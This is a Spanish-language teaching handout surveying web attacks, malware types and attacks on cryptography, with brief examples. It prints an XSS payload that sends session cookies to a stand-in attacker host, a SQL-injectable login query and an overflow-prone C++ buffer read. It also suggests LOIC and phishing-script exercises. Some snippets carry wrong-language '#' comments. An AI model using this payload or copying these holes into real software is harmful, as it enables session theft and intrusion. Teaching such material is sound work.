ENERO DE 2024

5. ATAQUES WEB

TÉCNICAS GENERALES DE ATAQUES 2

CÉSAR ANTONIO

ING. CÉSAR ANTONIO RÍOS OLIVARES
DOCENTE DE ASIGNATURA
WWW.CESARANTONIO.PRO

INTRODUCCIÓN

En el panorama de la ciberseguridad, los ataques web representan una amenaza constante para la integridad y confidencialidad de la información. Este conjunto de técnicas maliciosas incluye desde vulnerabilidades en aplicaciones web hasta ataques específicos contra sistemas criptográficos y el despliegue de malware.

En esta reseña, exploraremos con detalle ataques web como el Cross-Site Scripting (XSS), Inyección de Código SQL, Inundación de Buffer, Fuerza Bruta, Negación de Servicio y WebScript Injection.

También abordaremos la introducción al sistema de malware, destacando conceptos como APT, Spyware, Grayware, Conexiones C&C, Botnets, Ransomware y Minería Web, finalizando con una revisión de los ataques contra sistemas criptográficos.

2. DEFINICIONES

2.1. Ataques Web

2.1.1. Ataques de “Cross-Site Scripting” (XSS)

Implican la inserción de scripts maliciosos en páginas web visitadas por otros usuarios, comprometiendo la seguridad de estos.

2.1.2. Ataques de Inyección de Código SQL

Consisten en la inserción de comandos SQL maliciosos en entradas de datos, permitiendo la manipulación de bases de datos.

2.1.3. Inundación de Buffer

Se enfocan en saturar un área de memoria con datos, buscando provocar un desbordamiento y posiblemente ejecutar código malicioso.

2.1.4. Ataques de Fuerza Bruta

Se intenta obtener acceso a sistemas probando todas las combinaciones posibles de contraseñas hasta encontrar la correcta.

2.1.5. Ataques de Negación de Servicio

Buscan sobrecargar un sistema o red para hacer que no esté disponible para usuarios legítimos.

2.1.6. WebScript Injection

Consiste en la inyección de scripts maliciosos en aplicaciones web, afectando a los usuarios que interactúan con estas.

2.2. Introducción en el Sistema de “Malware” (Código Malicioso)

2.2.1. APT (Amenaza Persistente Avanzada)

Ataques sofisticados y sostenidos, generalmente dirigidos a organizaciones específicas.

2.2.2. Spyware

Software diseñado para recopilar información sobre las actividades de un usuario sin su conocimiento.

2.2.3. Grayware

Programas que no son completamente maliciosos, pero pueden causar molestias o problemas de seguridad.

2.2.4. Conexiones C&C (Command and Control)

Mecanismos utilizados por malware para recibir instrucciones de control remoto.

2.2.5. Botnets

Redes de dispositivos comprometidos que pueden ser controlados de manera remota para realizar acciones maliciosas.

2.2.6. Ransomware

Cifra los archivos de la víctima y exige un rescate para desbloquearlos.

2.2.7. Minería Web

Utiliza la capacidad de procesamiento de la computadora de la víctima para extraer criptomonedas de manera encubierta.

2.3. Ataques contra los Sistemas Criptográficos

Exploraremos las amenazas específicas que pueden comprometer la seguridad de los sistemas criptográficos.

3. EJEMPLOS PRÁCTICOS

3.1. Ataques Web

3.1.1. Ataques de “Cross-Site Scripting” (XSS)

Ejemplo Práctico: XSS Reflejado

Un atacante inserta un script malicioso en un enlace compartido. Cuando un usuario hace clic en el enlace, el script se ejecuta en su navegador.

3.1.2. Ataques de Inyección de Código SQL

Ejemplo Práctico: Inyección SQL en Formulario

Un atacante ingresa un comando SQL malicioso en un campo de entrada de un formulario web, manipulando así la consulta y obteniendo acceso no autorizado a la base de datos.

3.1.3. Inundación de Buffer

Ejemplo Práctico: Desbordamiento de Buffer en un Programa

Un atacante envía datos de entrada especialmente diseñados para exceder la capacidad de almacenamiento de un programa, corrompiendo la memoria y posiblemente ejecutando código malicioso.

3.1.4. Ataques de Fuerza Bruta

Ejemplo Práctico: Ataque de Fuerza Bruta a Contraseñas

Un atacante intenta iniciar sesión en una cuenta probando diferentes combinaciones de usuario y contraseña hasta encontrar la correcta.

3.1.5. Ataques de Negación de Servicio

Ejemplo Práctico: Ataque de Denegación de Servicio Distribuido (DDoS)

Un grupo de dispositivos comprometidos inundan un servidor con solicitudes, sobrecargándolo y haciendo que no esté disponible para los usuarios legítimos.

3.1.6. WebScript Injection

Ejemplo Práctico: Inyección de Scripts en una Aplicación Web

Un atacante inserta scripts maliciosos en formularios web para robar cookies de sesión de usuarios legítimos.

3.2. Introducción en el Sistema de “Malware” (Código Malicioso)

3.2.1. APT (Amenaza Persistente Avanzada)

Ejemplo Práctico: Ataque APT a una Empresa

Un grupo de hackers realiza una serie de ataques coordinados y sostenidos contra una empresa, comprometiendo gradualmente su seguridad.

3.2.2. Spyware

Ejemplo Práctico: Instalación de Spyware en un Dispositivo

Un usuario instala accidentalmente una aplicación aparentemente inofensiva que actúa como spyware, recopilando información sobre sus actividades.

3.2.3. Grayware

Ejemplo Práctico: Software Publicitario (Adware)

Un usuario descarga una aplicación gratuita que muestra anuncios no deseados y recopila datos sobre sus hábitos de navegación.

3.2.4. Conexiones C&C (Command and Control)

Ejemplo Práctico: Comunicación Encubierta con un Servidor Remoto

Un malware establece conexiones encubiertas con un servidor remoto para recibir comandos y actualizaciones.

3.2.5. Botnets

Ejemplo Práctico: Botnet Atacando un Sitio Web

Una botnet coordinada por un control remoto ataca un sitio web específico, sobrecargando sus servidores con tráfico malicioso.

3.2.6. Ransomware

Ejemplo Práctico: Cifrado de Archivos con Demanda de Rescate

Un usuario recibe un correo electrónico con un archivo adjunto malicioso que cifra sus archivos y exige un rescate para su liberación.

3.2.7. Minería Web

Ejemplo Práctico: Minería de Criptomonedas Encubierta

Un sitio web infectado utiliza la potencia de procesamiento de los visitantes para minar criptomonedas sin su conocimiento.

3.3. Ataques contra los Sistemas Criptográficos

Ejemplo Práctico: Ataque de Fuerza Bruta a una Clave Criptográfica

Un atacante intenta descifrar un mensaje cifrado mediante la prueba de todas las combinaciones posibles de claves hasta encontrar la correcta.

4. CASOS PRÁCTICOS

4.1. Ataques Web

4.1.1. Ataques de “Cross-Site Scripting” (XSS)

Caso Práctico: Robo de Sesión

Un atacante aprovecha una vulnerabilidad XSS en una página de inicio de sesión. Cuando un usuario legítimo accede a la página comprometida, el script malicioso roba sus credenciales de sesión, permitiendo al atacante acceder a la cuenta.

4.1.2. Ataques de Inyección de Código SQL

Caso Práctico: Manipulación de Base de Datos

Un atacante utiliza una inyección SQL en un formulario de búsqueda para modificar la consulta y extraer información confidencial de la base de datos, como datos de clientes o información financiera.

4.1.3. Inundación de Buffer

Caso Práctico: Ejecución de Código Malicioso

Al enviar datos manipulados a un programa vulnerable, un atacante logra un desbordamiento de buffer que le permite ejecutar código malicioso en el sistema comprometido.

4.1.4. Ataques de Fuerza Bruta

Caso Práctico: Acceso no Autorizado a una Cuenta

Un atacante utiliza un ataque de fuerza bruta para descubrir la contraseña de un usuario, ganando acceso no autorizado a una cuenta en línea y comprometiendo la información personal.

4.1.5. Ataques de Negación de Servicio

Caso Práctico: Interrupción del Servicio

Un grupo de atacantes utiliza un ataque DDoS para inundar los servidores de una empresa, dejando los servicios inaccesibles para los usuarios legítimos y causando pérdidas significativas.

4.1.6. WebScript Injection

Caso Práctico: Robo de Cookies de Sesión

Al inyectar scripts maliciosos en formularios web, un atacante puede robar cookies de sesión de usuarios autenticados, permitiéndole asumir la identidad de esos usuarios.

4.2. Introducción en el Sistema de “Malware” (Código Malicioso)

4.2.1. APT (Amenaza Persistente Avanzada)

Caso Práctico: Espionaje Corporativo

Un grupo APT realiza una serie de ataques coordinados a una empresa, instalando malware persistente en sus sistemas para robar información confidencial durante un período prolongado.

4.2.2. Spyware

Caso Práctico: Monitoreo de Actividades

Un usuario descarga una aplicación que, sin su conocimiento, instala spyware en su dispositivo, registrando sus actividades y enviando la información a un servidor remoto.

4.2.3. Grayware

Caso Práctico: Software Publicitario (Adware) Intrusivo

Una aplicación gratuita descargada por usuarios contiene adware que, además de mostrar anuncios molestos, recopila información sobre sus hábitos de navegación sin su consentimiento explícito.

4.2.4. Conexiones C&C (Command and Control)

Caso Práctico: Control Remoto de Malware

Un malware establece conexiones C&C para recibir instrucciones de control remoto, permitiendo a los atacantes actualizar y ajustar sus tácticas según sea necesario.

4.2.5. Botnets

Caso Práctico: Ataque Coordinado

Una botnet controlada remotamente lanza un ataque coordinado a una red, afectando múltiples dispositivos y comprometiendo la seguridad de la red.

4.2.6. Ransomware

Caso Práctico: Cifrado de Archivos y Demanda de Rescate

Un usuario descarga un archivo adjunto infectado, activando un ransomware que cifra sus archivos y exige un rescate para restaurar el acceso a los datos.

4.2.7. Minería Web

Caso Práctico: Uso no Autorizado de Recursos

Un sitio web infectado utiliza la capacidad de procesamiento de los visitantes para minar criptomonedas sin su conocimiento, afectando el rendimiento de sus dispositivos.

4.3. Ataques contra los Sistemas Criptográficos

Caso Práctico: Descifrado de Mensajes Cifrados

Un atacante utiliza un ataque de fuerza bruta para descifrar un mensaje cifrado, comprometiendo la confidencialidad de la información.

5. EJEMPLOS DE CODIFICACIÓN

A continuación, se presentarán fragmentos de código en Python y/o C++ para algunas de las técnicas mencionadas.

5.1. Ataques Web

5.1.1. Ataques de "Cross-Site Scripting" (XSS)

Ejemplo de código en JavaScript (para fines educativos):

```
#5.1.1. Ataques de "Cross-Site Scripting" (XSS) - Ejemplo de código en JavaScript (para fines educativos)

// Script malicioso para robar cookies de sesión
var img = new Image();
img.src = "http://atacante.com/robar-cookies.php?cookie=" + document.cookie;

#Explicación:
#Este script malicioso se inyectaría en una página web comprometida. Cuando un usuario visita esa página,
#el script se ejecuta y envía las cookies de sesión a un servidor controlado por el atacante.
```

5.1.2. Ataques de Inyección de Código SQL

Ejemplo de código en Python (para fines educativos):

```
#5.1.2. Ataques de Inyección de Código SQL - Ejemplo de código en Python (para fines educativos)

# Supongamos que 'username' y 'password' son entradas de un formulario
username = input("Ingrese su nombre de usuario: ")
password = input("Ingrese su contraseña: ")

# Consulta SQL vulnerable a inyección
consulta = "SELECT * FROM usuarios WHERE usuario = '" + username + "' AND contraseña = '" + password + "'"

#Explicación:
#En este ejemplo, la entrada del usuario no se valida correctamente, lo que permite la inyección de código SQL
#si el usuario ingresa datos maliciosos en los campos del formulario.
```

5.1.3. Inundación de Buffer

Ejemplo de código en C++ (para fines educativos):

```cpp
#5.1.3. Inundación de Buffer - Ejemplo de código en C++ (para fines educativos)
#include <iostream>
#include <cstring>

int main() {
    char buffer[10];
    std::cout << "Ingrese una cadena de texto: ";
    std::cin >> buffer;
    return 0;
}

#Explicación:
#Este programa en C++ es vulnerable a inundación de buffer ya que no valida la longitud de la cadena ingresada por el usuario,
#permitiendo que se exceda el tamaño del búfer asignado.
```

6. Actividades sugeridas de aprendizaje

1. Práctica de Inyección de SQL:

- Crear una aplicación simple con un formulario de inicio de sesión vulnerable a la inyección de SQL.
- Identificar y corregir la vulnerabilidad utilizando técnicas seguras de manejo de bases de datos.

2. Simulación de Ataque DDoS:

- Utilizar herramientas como LOIC (Low Orbit Ion Cannon) en un entorno controlado para entender cómo funciona un ataque de Denegación de Servicio Distribuido (DDoS).

3. Desarrollo de un Script de Phishing:

- Implementar un script simple de phishing utilizando HTML y JavaScript para entender cómo se llevan a cabo estos ataques y cómo se pueden prevenir.

CONCLUSIONES

En la era digital actual, la comprensión de los diversos ataques web y las amenazas de malware es esencial para garantizar la seguridad en línea.

La aplicación de prácticas seguras de codificación y la conciencia constante son fundamentales para proteger la información y los sistemas.

REFERENCIAS BIBLIOGRÁFICAS

1. Stallings, W. (2017). Cryptography and Network Security: Principles and Practice. Pearson.
2. Bejtlich, R. (2004). The Tao of Network Security Monitoring: Beyond Intrusion Detection. Addison-Wesley.
3. Cheswick, W. R., Bellovin, S. M., & Rubin, A. D. (2003). Firewalls and Internet Security: Repelling the Wily Hacker. Addison-Wesley.
4. Stevens, R. W., Fenner, B., & Rudoff, A. M. (2003). Unix Network Programming, Volume 1: The Sockets Networking API. Addison-Wesley.
5. Roesch, M. (1999). Snort - Lightweight Intrusion Detection for Networks. Proceedings of LISA '99: 13th Systems Administration Conference.
6. Chuvakin, A., & Schmidt, E. (2012). Security Information and Event Management (SIEM) Implementation. McGraw-Hill.
7. Ferguson, P., Schneier, B., & Kohno, T. (2010). Cryptography Engineering: Design Principles and Practical Applications. Wiley.

8. Scapy Development Team. (2021). Scapy - Packet Manipulation with Python. [https://scapy.net/]
9. White, C. W. (2018). Wireless Intrusion Detection Systems. En P. R. Johnson (Ed.), Handbook of Network Security (pp. 67-89). Academic Press.

10. Rodriguez, A. R., & Martinez, S. M. (2020). Advances in Wireless Network Security. Journal of Cybersecurity, 15(3), 123-145.
11. Smith, J. A., Johnson, M. B., & Brown, P. Q. (2019). Wireless Security Essentials.